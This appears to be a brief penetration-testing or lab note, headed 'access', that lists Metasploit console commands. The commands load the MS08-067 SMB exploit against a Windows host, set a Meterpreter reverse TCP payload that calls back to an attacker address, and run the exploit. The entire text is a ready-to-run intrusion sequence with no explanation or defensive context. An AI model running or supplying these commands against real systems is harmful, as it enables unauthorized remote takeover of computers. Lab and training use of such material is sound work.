1. access

msfconsole

msf > use exploit/windows/smb/ms08_067_netapi 

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp 

msf exploit(ms08_067_netapi) > set RHOST 10.10.0.21 

msf exploit(ms08_067_netapi) > set LHOST 10.10.2.111 

msf exploit(ms08_067_netapi) > exploit